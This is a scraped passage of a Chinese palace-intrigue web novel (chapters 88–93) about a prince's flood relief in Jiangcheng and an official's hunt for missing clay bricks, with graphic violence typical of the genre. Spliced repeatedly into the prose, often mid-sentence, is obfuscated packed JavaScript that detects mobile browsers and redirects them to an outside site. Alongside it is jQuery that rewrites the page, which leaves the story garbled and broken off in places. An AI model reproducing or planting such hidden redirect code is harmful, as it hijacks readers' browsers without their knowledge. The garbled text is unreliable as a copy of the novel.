沈聿明手握成拳,发出咯咯的声音,他往脸上糊了一层厚厚的泥,又往地上那恶心之物掷了一块泥,阻止了那人的动作,而后带着人一窝蜂地涌了上去。 把人打了个半死,将他们丢回顾府后,沈聿明的人提着桶就往僻静处跑,那些人紧随 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14632436|156271||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 其后。 沈聿明沉默地看着手下把一勺一勺馊水往他们碗里舀,这种东西在京城拿来喂狗狗都嫌弃,但江城的人却视若珍宝。 等顾家的家丁找到泔水桶时,里面已经连一粒米都不剩,几人愤怒地对着墙踢了一脚,“把那几个人找出来,弄死他们!” 到了午间,沈聿明又如法炮制,混进了疏通河道的队伍里。 下手的动作一旦慢几分,鞭子下一瞬就会落到背上,背上的鞭伤再被泥水覆住,又没钱去看大夫,伤口被感染是迟早的事。 人死了,不过是在城外草草挖个坑丢进去,时间长了,恐会生出疫病。 沈聿明越想心越沉,动作也慢了几分,凌厉的风声自身后传出,他举起挡住,在鞭尾缠住锄头的把手时,伸手把那人拽进了泥地,泥点溅起落在脸颊,他下意识闭上了一只眼。 其余的官兵见状,纷纷来到沈聿明旁边,指着他对地里的人说道:“愣着干什么,还不快点把人抓起来?” 都是苦命人,没人愿意动手,官兵把鞭子往地上一抽,威胁道:“再不动手,今晚的粥你们也别吃了。 ” 周围的人歉意地看了沈聿明一眼,朝他伸出了手,他们不想动手,但再饿下去,他们就要死了。 沈聿明避开他们的动作,从怀中掏出令牌,冷笑道:“谁给你的胆子敢下令抓本王?” “王爷,手底下的人有眼不识泰山,冲撞了您,下官特意把人带来给您赔罪。” 知州带着人出现在沈聿明的院子,说完,他踹了身后人一脚,“还不跪下认错。” 其中一人尚不肯认错,“王爷那样的打扮,即便是圣上亲临都认不出,我们如何能知晓?” 不等知州开口,沈聿明的人对着此人的心口踹了一脚,“圣上也是你们可以随便议论的?” 见他面上还愤愤不平,沈聿明抚了抚掌,“本王可受不起他们的道歉。” 太子戏谑的声音突起:“皇弟这儿还真热闹。” 第八十八章 你没死? 一车车黏土送至京城,再浇筑成砖,这才没误了进度,再往后,周围的城镇也供不出黏土了。云暮几次派人前去,都空手而归。 “大人,属下上次曾亲眼看见砖窑里摆着粘土砖,可今日去时,里头只剩下黄土砖,瓦工闪烁其词,道是属下看错,那些原是黄土砖。” 黏土做成的砖头带了褐色,与普通的黄土砖不同,她的人还不至于认错。前些时日送来的并未有黏土砖,那便是得了谁的话,不许再把黏土及黏土砖给他们。 那天贵妃气急败坏地离去,云暮猜出是贵妃所为,如今梁文帝对她不比从前,贵妃为何还要拉拢她?但如今她没时间细想,得尽快把黏土还有钦天监解决了。 夜间,从裴府回来后,云暮再次察觉到屋里有人,从前府中一年半载都见不到一个人,如今隔一段时间就有人闯进来一次,还无人发觉,府中的小厮都是摆设? 清冷的月色下,屋内的地板并无暗器的影子,此人气息沉稳,让云暮不得不提防,但即便是梁文帝,这一次她也不想再忍。 正欲喊人,屋内突然亮起烛火,“云大人,许久未见,别来无恙。” 长发披散,着一身宽松黑衣,一张带着病态的脸在烛光下更显苍白,活像一只恶鬼。 云暮的双目瞪得溜圆,整个人如同被冻住了一般,良久才道:“卢靖?你不是死了吗?” 卢靖眼眸微闪,嘴角轻轻一撇:“没死成,大人很失望?” 他自顾自地点燃房中的蜡烛,而房梁和角落的机关却没有被触发,云暮捡起石块随意一掷,只见他往旁退了几步,避开暗器,踩在了一处安全的位置。 云暮微眯双眼,笃定道:“前些时日的那批小工里,有你吧。” 卢靖没有否认,弯腰捡起那个飞镖,“听闻摘星阁的黏土不够,今日特来为大人解忧,谁想云大人的待客之道这般奇特。” 云暮径直踏入屋内,讥道:“无请自来是为偷,况且,你还是一个已死之人,只要本官喊一声,明日一早就会有人把你扭送到皇上面前,若是能问出是何人所为,升官发财指日可待。” 卢靖双手一摊:“恐怕要让云大人失望了,保我出来之人在年初已经被你抄家砍头了,就连稚子都没能逃过一劫。” 王家?不过也是,陶妍当时手中还握着王家不少把柄,保下一个卢靖也不是什么难事。 云暮没有再同他废话,“你来到底所为何事?” 卢靖轻笑:“方才不是说了,来替大人解忧。” 云暮直接拒绝,她着实不想同此人再有交集,“用不着,没有你,本官也能找出那批黏土砖,你最好早点离开云府,否则就休怪本官无情。” 卢靖收了笑,阴沉盯她:“那我是不是该感谢你手下留情?云暮,你不用我,难道是想用当初骗我的那一套再去行骗吗?” “莫忘了,当初应我之事你还没做到。” 牢房里的那句“赏你一顿鞭子,要不要”一直在卢靖心头散不去,如今终于要讨回这个赏了,卢靖从袖中掏出一根鞭子,捧到云暮面前,双膝跪在他的身前,浑身战栗,眼中阴沉散去,只剩渴求。 有了梁文帝的前车之鉴,云暮对此已经能平心静气,她轻甩了两下鞭子,抬起卢靖的下巴拍了拍,“不如你先告诉我黏土砖的下落。” 卢靖摇头,“你先还了前头的债。” 云暮满口谎言,他已经吃了一次亏,不再轻信对方。 云暮索然无味地收回手:“你滚吧,本官今日饶你一命,但下次再见,你的小命就难保了。” 期望再次落空,卢靖脸色一变,“还是说只有如秦王那般人物才配入你的眼?你们整日成双入对,府中还特意给他留了间房,想必把能做的不能做的都已经做完了吧?怎偏偏他能,我就不能?” 云暮把人踢翻在地,一脚踩住他的胸口:“把你的嘴巴给我放干净。” “被我说中了?堂堂秦王竟然和一个阉人厮 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太子施施然地撩袍坐下,自顾自地和沈聿明说话,把 知州他们都晾在一旁,“皇弟的脾气一向温和,何事能把你惹怒?” 沈聿明指着那人说道:“这几个有眼无珠的东西竟敢说父皇不是,皇兄说该如何罚他们为好?” 太子凉凉地看了他们一眼,笑道:“不如割了舌,再煮熟让他们吃下去如何?” 他的手一挥,就有人上前干净利落地捏开他们的嘴,匕首在口中一转,带出了一截红彤彤的东西,他们口中的血才止,一碗热气腾腾的“舌汤”又被人灌入口中,想出声却只能发出呜呜的声响。 沈聿明面不改色地看着,“臣弟原只打算让他们去清理河道,结果皇兄兵贵神速,着实是让臣弟想不到。” “本王还有事同皇兄商议,不知知县可否回避一二?” 第八十九章 想饿死百姓? 除了太子的亲信,其余人都退了下去,太子不在乎地摆了摆手:“下去吧。” 沈聿明还不至于蠢到在这里对他动手。 “怎么,这是想通了,要把赈灾的银两给孤了?” 沈聿明把一张字条移至他面前,“皇兄想来不愿见到沈承熙得志吧,你出来几近一月,朝中官员对你颇有微词,我们不若联手治水患。” 太子狐疑扫他,他们的关系不说多好,但至少不愿看到对方得势,沈聿明的脑子是被泥沙糊住了,还是他真有这般爱民? 沈聿明任由他打量,“皇兄你作为大梁储君,从小锦衣玉食,不知民间疾苦,臣弟这一路走来,扒过树皮,吃过草根,只是臣弟命好,得了旁人相救。但外头的百姓如今寄希望于朝廷,得到的却是满腹的污水、观音土。” “若再这样下去,万民失命于水患,而皇兄也将失信于朝野,而最后的赢家只有沈承熙。” 太子看着字条上的娟秀字迹,陷入沉思,他能成为太子,是因为背后站的是崔家,但也因此让父皇不喜。 开国的四大世家,如今只剩崔家和郑家,父皇下一个要动的,没准就是崔家了,他得多为自己筹谋。 “你要孤如何做?” 夜幕拢住光线之时,一阵整齐的马蹄声从村外响起,尚在忙碌的人抽空抬起头,见来者一身甲胄,腰间悬挂的佩剑随着马儿的跑动上下颠着。 为首的那人头戴黑冠,着黑色立领暗纹长袍,端的一副意气风发好儿郎的模样。 此人正是云暮。 她前几晚没应下卢靖的要求,对方还真是半点消息都没有向她透露,不过短短几天就把黏土砖转移,这么大的动作,只要她派人去查,定然什么都瞒不住。 造瓦司虽归铸造司管辖,但却设在了京城外五十里的泗湾村中。村子旁便是一条大江,方便瓦工挖土造砖。 云暮用剑柄敲了敲面前的门∶“打开。” 造瓦司掌事的心揪了起来,暗中掐了掐虎口,逼得自己冷静∶“将军,这下官也不知如何打开啊。” 云暮闻言,头偏了几分,疑惑瞧他:“掌事前几日才派人把黏土砖搬来此处,怎会不知?” 掌事面上的血色褪去,他干笑了两声:“将军真是贵人多忘事,黏土不都尽数运至城中了吗,这里怎会有黏土砖呢?” “你们都退下。” 云暮话尽,金吾卫带着火把退避三尺,四周暗得只能看见轮廓。 “自从皇上下令建摘星阁来,你们便开始着手准备黏土砖,虽也送去阳陵,但也不至于半块黏土砖不剩。” “摘星阁要展大梁国威,误了进度,你以为贵妃娘娘能护住你的命?整个造瓦司的的人都要因你被夷九族,你就不怕他们变成冤魂来找你索命吗?” 掌事还试图辩解,却有一人忽抱住他的腿,带着冷意的触感在腿部蔓延开来,掌事只看到一团黑乎乎的影子,他尖叫了一声,“有鬼啊!” 欲抬腿去踹,谁知又有一只手从后伸出。 “掌事,我不想死。” “掌事,您放我们一条生路。” “掌事……” 半死不活的哀求声配上呜咽的风声,把胆小怕事的掌事吓得不轻,他紧紧扒着门,“云将军,有鬼,救我!” “掌事,他们是活人,你怕什么?还是说你心里有鬼?” 云暮手一扬,金吾卫举着火把上前,火光照亮地上之人的脸。 掌事缓缓低头,眼中惊惧更甚:“你……你们不是死了吗?不,你们是鬼!” 跪地之人松开手,恨恨瞪他:“掌事大人,好处你独吞也就罢了,还想要咱哥几人的命,若不是恰巧被人救下,今日来找你的真就是我们的鬼魂了。” 人是被云暮带来的,也只能是被他救下,临开门前,掌事问云暮:“若我打开此门,云大人可否饶下官一命?” 本就没打算杀他,但她不介意卖给掌事一个人情,“掌事,这些东西本就是朝廷所有,你的命可得要其他东西来换。” …… 傍晚时分,江畔之人纷纷捧着缺了口的破碗往城门口奔去,有几人远远落在后头,不紧不慢地跟着。 他们正是今 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14632438|156271||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 日得罪了沈聿明的那几人。 被派去疏通河道后,那几个受过他们欺负的人一鞭一鞭抽在他们的身上,几人在心中恨恨发誓,来日得势,定要把他们踩在脚底下。 眼看着队伍排起长龙,几人作为官差,在江城横行霸道惯了,便直接走到队伍的前头,看到施粥的还是曾经的好兄弟,他们把碗往桌上一放,指着碗唔唔了两声。 劳累了一天,腹中正空,恨不得抱起桶就饮,施粥之人只看了他们一眼,挥手道:“去去去,后边排队去。” 他们气得想骂人,但舌头已经没了,想骂都骂不出声,正欲抢过木勺自行舀粥,就被人推搡到了一边。 怒火在看到来人是顾家家丁时,很快就被浇灭,他们唯唯诺诺地站到一边。 顾家的家丁伸头看了一眼稀粥,嫌恶道:“怎么稀得喝水似的?你们私吞了?” “这是本太子下的令,你有异议?” 太子和沈 聿明施施然地出现在城门口,盯着食盆外的那个顾字,疑惑道:“顾家家大业大,前些日子还不时在江满楼设宴,顾老爷出手阔绰,现在竟然沦落到来和百姓抢食的地步了?” “还有,你们见了孤和秦王为何不跪?” 除去顾家人,所有人在太子出声的那一刻已经跪下。 家丁冷汗涔涔,不知做何解,只能跪地不语。 太子这才移开目光,沉声道:“都起来吧。” “孤来了江城这么久,日日为水患忧心,今日特意和秦王抽出时间前来施粥。” 他冷冷地盯着垂头的那几人:“凡事都要讲规矩,若谁再敢仗势尖队,那他的小命也就不保了,若谁能揭发尖队之人,若情况属实,谁就能多领一碗粥,但如果是诬告他人,那就休怪孤无情。” 说完,那几个被割舌之人灰溜溜地跑回队伍末尾,而顾家的家丁却仍站在原地。 太子弯腰抓起一把土,撒向装着粥水的木桶中,拿起木勺搅动了几下。 顾家家丁怒道:“太子殿下,您把土撒进去,要我们怎么喝?您是想饿死咱这些老百姓吗?” 第九十章 云暮又杀人? 太子闻言,招呼沈聿明把土一起丢进桶中,挨骂的事,可不能他一个人做。 等做完这些,他拍了拍手上的尘土,“你们一不是流民,二不修水渠,这些粥本就没有你们的份。” “还不走,是要孤派人送你们回顾府吗?” 顾家家丁愤愤离去,人群里也有几人悄悄离去,太子看在眼里却没有理会,他敲了敲桌,说道:“往后的粥都要掺土,若是嫌弃,大可离去。” 他们饿得都吃土了,他们怎会嫌弃?若是没看错,那桶里的粥比之前的稠了不少。 沈聿明和太子给每人都舀了满满两大勺,江城的百姓看着许久未见的米,眼泪瞬间滑了下来,小心翼翼地把碗放在地上,对着他们磕了两个头。 “多谢太子,多谢秦王。” “都起来吧。” 沈聿明的目光落在一旁喂着孩子喝粥的母亲身上,他看见女人渴望地咽了咽口水,却还是把粥让给了孩子,小孩只喝了几口就把碗递到女人的嘴边,女人推辞了一番,最后狼吞虎咽地把粥吞了下去。 曾几何时,也有一个男孩把半碗治风寒的药递给同样发热的妇人嘴边。 沈聿明只觉得心口堵得慌,把木勺递给侍卫,他则把太子拉到一边,低声说了几句。 太子听后却道:“十万石粮所剩不多,你来时,父皇并未拨下赈灾之物,皇兄也是束手无策。” 沈聿明听出了太子的意思,他今日能同意来演这一出,不过是为了挽回他在百姓心中的形象,如今目的已经达到,他何必再做多余之事? 但他忘了,这十万石粮皆是因他贿赂江城官员和豪绅而没,或许他还记得,但却不想承担后果。 沈聿明沉默了半晌,“臣弟来想办法。” 他招手叫来一人,低声说了几句。 天色渐渐暗下,夜色静谧,繁星点缀在夜空,沈聿明和太子踏月而归,驿站内灯火通明,知州和顾老爷正坐在院里等着他们二人。 太子眉头一挑,看了沈聿明一眼,而后才道:“二位来此所为何事?” …… “黏土已毁,娘娘尽可放心。” 贵妃捏着信走向火炉,“云暮啊云暮,便是你再厉害,又能如何?还不是任由本宫摆布?到时你就是跪下求本宫,本宫也不会对你手软。” 她走到桌后,提笔写了几行字,墨痕一干便封好口:“红袖,把这封信送到通济坊的李氏馄饨摊。” 造瓦司掌事步履匆匆地往家里赶,双手一直放在前胸,手中似乎在攥着什么东西,行走时不时看着路边的草丛,听到任何风吹草动便犹如惊弓之鸟。 行至人迹罕至的山林时,他一脚踩到地上的枯叶,顷刻间,脚腕被绳索圈出,他整个人被吊在半空,几人提着刀笑着从浓密的草中走出,看见掌事一副弱书生的模样,其中一个笑道:“不过是个小鸡仔,李兄一人动手便可,怎么还把我们都叫上了。” 掌事不住挣扎,怀中的匕首哐当一声掉在地上,他惊恐道:“你们是谁?我乃造砖司掌事,你们还不放了我?” 李天拾起匕首抛了抛,又抠了抠上头的那几颗宝石,“这是真的还是假的?” 这把匕首乃云暮所赠,怎会有假?他照着云暮教的话术说道:“这是我花了大价钱买的,怎会有假,若拿去卖,定不少于百两银子,这匕首送给你们,求各位好汉莫要杀我。” 把贪生怕死演得淋漓尽致。 李天把匕首收入怀中,缓缓抽出长剑,在掌事期望又恐惧的中,长剑偏了几分,落到了大腿上。他杀人时,最喜欢的莫过于看那些平常高高在上看不起他的人苦苦哀求,最后血尽而亡。 掌事发出一声惨叫,惊得不远处的鸟雀振翅离去,“是谁派你们来的?” 李天舔了一口剑身,嘴角也沾上了一丝血:“你最近得罪了谁,就是谁派我们来的。” 掌事恍然大悟,喃喃自语:“是……是云大人!” “你知道就好,没有云大人的吩咐,我们也不会对你动手,所以,死后要索命,尽管去找他。” 他的声音极大,李天笑了笑,正要再划上一剑,旁边也腾空跃出几人,把他们一网打尽。 云暮踹 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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梁文帝看了一眼云暮,又看着跪在地上的士兵:“昨儿云暮可有出过城?” 士兵抖着身子道:“出……出过。” 第九十一章 死者绝非掌事 顾老爷率先起身,行了一个大礼,说道:“前几日出了趟门,方才一回府就听说王爷来了,这不马上央着知府和草民走一趟,希望没打扰到二位殿下。” 太子想知道沈聿明的葫芦里卖的什么药,并未多言。 沈聿明端起茶杯,轻嗅了一口,说道:“这茶倒与前两日不同。” 顾老爷笑道:“草民听说京城人喜欢白毫银针,来之前想起最近新得了两饼,特意拿来给二位殿下品鉴一二。” 沈聿明睨了他一眼,在顾老爷期盼的目光中,悠悠地把茶杯搁下,“如今天色已晚,就不饮茶了,本王明儿一早还要去城门施粥,免得再有一些浑水摸鱼之人混入其中。” 顾老爷故作不知地笑了一声,轻拍了两下手,等家丁捧着几个盒子到沈聿明跟前,他亲手打开盒子:“茶可以不喝,但这茶叶,还望二位殿下收下。” 最上层的茶叶状似银针,白毫密披,色白如银,正是方才顾老爷口中说的白毫银针。 沈聿明却从厚厚的茶饼下窥见几抹金色,他拈起茶叶,下面果真是一排排的黄金。 他把茶饼丢了回去:“顾老爷这是何意?” 顾老爷把盒子放在桌上,解释道:“水患是天灾,草民对治水一事毫无头绪,只能捐些金银之物,二位殿下若有用得上草民的地方,只管开口。” 这些还是他前些日子从太子处得到的,没想到还没捂热,又要还回去了,都怪那几个没眼力见的东西!见了人不走也就罢了,还给人留下了把柄。 沈聿明看向太子,只见对方将金子丢回盒中,而后撩了顾老爷一眼:“看孤做什么,皇弟的意思便是孤的意思。” 知晓对方不插手后,沈聿明道出了最终目的:“江城如今乱成一锅粥,黄白之物和一个馒头同时丢在地上,顾老爷可知他们会捡哪个。” 这还用问,当然是馒头,对于如今的江城来说,米可比银子贵多了。 沈聿明又补了一句:“听说顾府日日都有好几桶泔水。” 那些不过是泔水加进从城门口拿回来的白粥,再混上一些脏水,然后高价卖给老百姓,但顾老爷不知沈聿明知道了多少,也不好叫屈。 从京城来的三万石粮,至少有三成进了顾家。山洪虽停,田里的庄稼已经无力回天,春播已过,江城的人若要缴田税,只能从米行购米,到时他在转手卖出去,又赚得盆满钵满。 当下顾老爷为难地看了沈聿明一眼,“殿下,那些不过是……” 沈聿明闻言,忽然起身:“本王突然想起今儿的奏折还未写,二位回吧。” 奏折落笔,驿使八百里加急,明儿一早就能到京城,就在沈聿明转身之时,知府猛地给顾老爷使眼色,他可不想被人摘了官帽。 见顾老爷没有理会,知府推搡了他一把。 顾老爷只能道:“殿下,草民忽然想起顾家的仓库里还有去岁的陈米,明儿一早便派人送去府衙。” 给了知府后,这些粮用不了多久就会重回顾家,沈聿明心想,顾老爷真不愧是生意人,算盘打得就是好。 知府赶忙表忠心,“粮一旦运至府衙,下官亲自登记造册,定会让城中百姓都有米吃。” 沈聿明意味不明地‘哦’了一声,“顾老爷要养活顾家上下一百多口人,竟也还有陈米?” 顾老爷咬牙道:“去岁无水患,庄稼收成不错,约莫还有一万石,还请殿下勿要嫌弃。” 一万石就一万石,至少解了他的燃眉之急,沈聿明见好就收:“即如此,那就多谢顾老爷了,你放心孤一定把此事告知父皇,不会让功臣寒心。” …… “何时回的京城?” 梁文帝虽是在问士兵话,但双目却不离云暮。 士兵却摇头道:“属下不知,许是云大人从旁的城门回的京城也未可知。” 云暮直勾勾地看着那个参她的御史:“你既说本将军杀人,除你之外可还有其他人证?掌事的尸体又在何处?” 御史信誓旦旦地说道:“就在林子的东南角,皇上,臣亲眼看见云大人亲自把人埋进去。” 云暮嗤笑了一声:“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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云暮抬起尸体的右手:“家中有奴仆,在造瓦司亦不用做事,这虎口和手心的厚茧何解?” 御史神色一变,瞪了一眼方才说话的瓦工,“仅凭一人之言如何就敢妄下定论?” 云暮恍然大悟地“哦”了一声,“原来御史大人也知啊,本将军也想到此事,于是派人把造瓦司和泗湾村的半数人都叫来了,若是这两人敢欺瞒本将军,本将军定要拔了他们的舌头。” 瓦工一听,腿弯一软,就跪在了地上:“大人,小人所言句句属实,绝无欺瞒。” 一个小太监悄悄进了长乐宫,贵妃拿着扇子轻打,问道:“云暮下狱了?” 小太监垂头道:“并未。” 贵妃淡淡地瞥了他一眼,小太监只觉得一把利剑悬在颈间,随时都会掉下来。 “云大人看出那具死尸并非掌事,甚至还找来了泗湾村的一个寡妇指认。” 贵妃闭眼深吸了一口气,忽而将手中的圆扇砸向小太监:“废物!全是废物!李天到底把人带去了何处,怎么还没找到?” 她知晓李天喜好虐杀的性子,在信中千叮万嘱,必须一击毙命,而后埋在林子的东南角,结果他不仅把人带走,甚至半点踪迹都没留下,她只能派人丢了一具尸体进去。 谁想这些人做事一个比一个粗心,竟让云暮发现不对,但这也更让她下定除掉云暮的决心,这样好用的刀,竟然三番五次拒绝她的示好,她得不到,沈聿明也休想得到! “让御史闭好他的嘴,若是敢牵扯到其他人,本宫便送他们一家在地下团聚。” “还有,尽快找到李天。” 等找到了人,她定要扒下他的皮! 布政坊内,云暮伸脚踢了踢地上半死不活的李天,“还没招?” 冯章把手上的东西递给云暮,“没招,但属下查到了不少东西。” “此人是通济坊李氏馄饨摊的摊主,其余几人皆是他的帮工,他家的馄饨皮厚馅少,之前有人抱怨过几句,就被他打得头破血流。” “寻常馄饨只需三文钱一碗,但他们却要八文钱,即便是把周围卖馄饨的摊贩赶走了,但生意依旧惨淡。” “肉馅放臭了也照样拿来卖,但奇怪的是几人住在同一个二进院,属下去查过了,宅子在李天名下,宅子最少要五十两,他们就算卖馄饨到老都买不下。” 纸张被云暮翻得哗啦啦响,“九年前房子就在他们名下了,那时他们整日游手好闲,更不可能买下房。” 云暮在心中推测,难不成这些钱是贵妃给的?所以这么多年他们的行事才敢如此猖狂? 冯章忽然想起一事,“对了,大人,街坊里有人说,李天曾放言说他有亲戚在宫中当娘娘,惹了他就是自寻死路。” 云暮双眉微皱:“亲戚?” 冯章点点头:“是,有人见过有太监来寻他们,但不知是哪位娘娘。” 云暮在牢房外踱了几步,贵妃姓何,是一个农家孤女,常常被人欺负,因得沈聿明的母妃相救才脱离苦海,这些都是案宗上的记载,难不成她孤女的身份是假的? 云暮捏着案宗往外走去,“再审,务必让他说出幕后黑手还有他们的关系。” “是。” 冯章跟在他身后,脚步却不似往日那般沉稳。 云暮扭头看了他一眼,发现人都要撞到柱子了还不避让,她一把把人拉了过来:“在想什么,路都不看。” 冯章呆呆地看了他一眼,回过神后吞吞吐吐。 云暮了然,“你想问宋枫?” 冯章飞快地“嗯”了一声,“属下和他们就是想问问他到底犯了何事,如今又去了哪里。” 虽说宋枫才跟他们共事了两三年,但几人一向是有福同享,有难同当,春节过后,他们再回到布政坊,就听到云暮说宋枫已经革职,往后不再是金吾卫的参军。 他们原想问个究竟,但那段时间云暮忙于王家之事,下了值去宋枫家,结果扑了个空,一直到现在才终于问出了口。 那晚在云府发生的事又浮现在云暮眼前。 听了她的话后,宋枫还是苦苦哀求,让他和 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14632441|156271||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 王明远见一面,结果比她说的更让人难以接受,王明远风流成性,再加上宋枫已经离家多年,他早就把宋枫他娘忘得一干二净。 最后还是去审了王夫人才知,他们从未想过给他娘治病,就在宋枫离家后的没几天,他娘已经撒手人寰,被一张草席匆匆裹了丢去了乱葬岗。 要不是云暮拦着,那日王夫人就会死在宋枫的剑下。 那天过后,宋枫自请解冠,“大人,宵禁时分,擅自外出,还闯云府欲救王明远,要杀要剐都随您。” 云暮看了他半晌,最后如同当年初见那般,摸了摸他的头,“初见时,我曾说过,你若是背叛我,不会有好下场。” 彼时的她终于在宫里冒了头,但因她性子倔强,始终不肯向梁文帝低头,还是吃了不少苦头。那段时日,唯有宋枫敬她,从不嫌弃她阉人的身份,唯有和宋枫在一起时,她才觉得自己是个有自尊的人。 这么多年的陪伴,对方为了她不惜满手鲜血,还为了她去学了医术,曾经为了救她甚至差点命 都没了,这些都不是假的,所以,即便知道宋枫曾经背叛了她,她也还是心软了。 “当初卢家人死在狱中一事,有他策划,那几个被下了迷药的食盒就是他以我的名义送去的。” 冯章不可置信地摇了摇头:“怎么会?” 宋枫是云暮身边的一条疯狗,只有云暮能栓得住,凭谁都不会相信那件事有他的手笔。 云暮想了想,最后还是没有把宋枫的身份告知他。 冯章低声问道:“大人,他葬在了何处,属下能否去祭拜一二?” 到底还是多年的兄弟,放不下也情有可原。 云暮沉声道:“即便他要杀我,你们还是要去祭拜?你们可别忘了,当初是谁救了你们,又是谁把你们提拔起来的。” 冯章嘴唇动了动,最后苦笑了一声,不再言语。 云暮转身走了。 初夏温热的风轻轻吹拂,枝头的落叶沙沙作响。 “我没杀他,但也不知他去了何处。” 第九十三章 写信 蜡烛燃了半截,蜡杆留了小半截,烛心不时炸开,屋内的光有些昏暗,沈聿明取下灯罩,拿起一旁的剪子把蜡杆剪了一截,烛火往上蹿了几分。 这些时日,他日夜兼程,只派人同云暮道过一句平安,之后再个不曾给写过一言半语,今日解决了一桩事,才得以喘息,他迫不及待地想告知云暮。 重新坐回桌后,沈聿明提笔写下这两日发生之事,笔尖在信纸上晕出一个黑点,他还是迟迟没有继续落笔,犹豫了片刻,还是拿出了一张新的信纸。 思念落到笔尖,却不知如何下笔,手中的笔反复被人拿起,搁下,循环往复。良久,沈聿明才再次提笔。 “离思相萦,渐看看,愁容难掩。点检从前夜话,但箧中信笺空空,愁剪灯花,夜来泪千行。” 写完的沈聿明只觉得臊得慌,从前只闻闺中思妇给独自在外的夫君诉说情衷,怎地他和云暮偏偏就是反过来? 沈聿明羞得耳朵发烫,红得惊人,欲将信纸揉成一团丢进竹篓,但最后还是一同装进了信封中,随着奏折一道连夜送回京城。 耳房水声哗哗,沈聿明兜头淋下一桶冷水,水珠顺着几根鬓角垂落的发缓缓滴落,没入湿透的里衣。 冰冷湿粘的衣物紧贴身体,即便已是初夏,沈聿明还是打了一个冷颤,头脑也随之清醒。 每迈出一步,蜡烛便灭一盏,直至整个院子归于平静。 初日晨起,沈聿明也从梦中醒来,还未睁眼就先低头蹭了蹭怀中之物,下巴抵到的却是一个尖角,他猛然打开双目,梦中窝在他身旁带着暖意的佳人变成了一个冰冷且坚硬的硬木枕。 沈聿明颇为无语地把木枕丢到一旁,洗漱过后径直出了门。 粮才到,沈聿明便派人接管了库房,等知府来时,发现库房钥匙已经落到沈聿明手中了。 昨夜太子和沈聿明一唱一和,想来两兄弟已经通过气了。在大梁,再有钱,上头的人摁死他们就如捏死蚂蚁一样,顾老爷怕给少了,又存了让知府暗中把米粮送回顾家的心思,便派人送来了足足一万石粮,如今钥匙不在,这粮还要得回来吗? 知府盯着不远处正冒着滚滚浓烟的临时搭建的简易小厨房,面露忧色。 沈聿明突然出现在他身后,道:“知府今早没有用早膳吗?不如过去用上一碗如何?” 知府吓得往前跳了两步,惊惧地回头:“王……王爷,你怎会在此?” 沈聿明抬起袖口嗅了嗅,虽说昨夜才沐浴更衣,但他目中的不满还是快要凝成实质,“本王昨日劳累了一天,晚些时候派人备水沐浴,结果……” 话到此处,沈聿明突然顿住不语。 江城如今只有四口井还能用,知府日日派人镇守,每两日才发一次水,让他们喝不够,但也饿不死,以此来掌控百姓。 但这事他做得隐晦,沈聿明不该知道啊,知府呵呵笑道:“王爷,下官都交代过了,二位殿下的人来不管何时都可取水,这是不是有什么误会?” 沈聿明甩了甩袖,声音有些发冷:“你的意思是说本王污蔑你?” “下官不敢,下官马上派人将水送去驿站。” 沈聿明又道:“本王竟不知如今得要得了知府的首肯才能用水,就是不知皇兄那边是否也是如此?” 知府解释道:“王爷,您有所不知,如今正是缺水的时候,若任由城中人随意取水,只怕不出几日,井中水就要见底了。” 这人是把他当成傻子一样糊弄?他快到江城之时,江城又连下了几日的暴雨,如今走在路上都要沾一脚的泥,往下挖上几丈,第二日便能冒出干净之水,若不是锄铲之类的工具都被官府扣下,那些百姓早就独自打井了。 沈聿明一把把人薅到井边,把他的半个身子都压进井中:“不如知府亲自下去丈量一下井中之水有多少。” 说完,他手上的力道松了几分。 知府不会水,他的手死死扒着井口,生怕一不小心就掉入井中,“王爷,下官错了,下官错了,等会儿就把人撤了,您莫要再同下官说笑了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 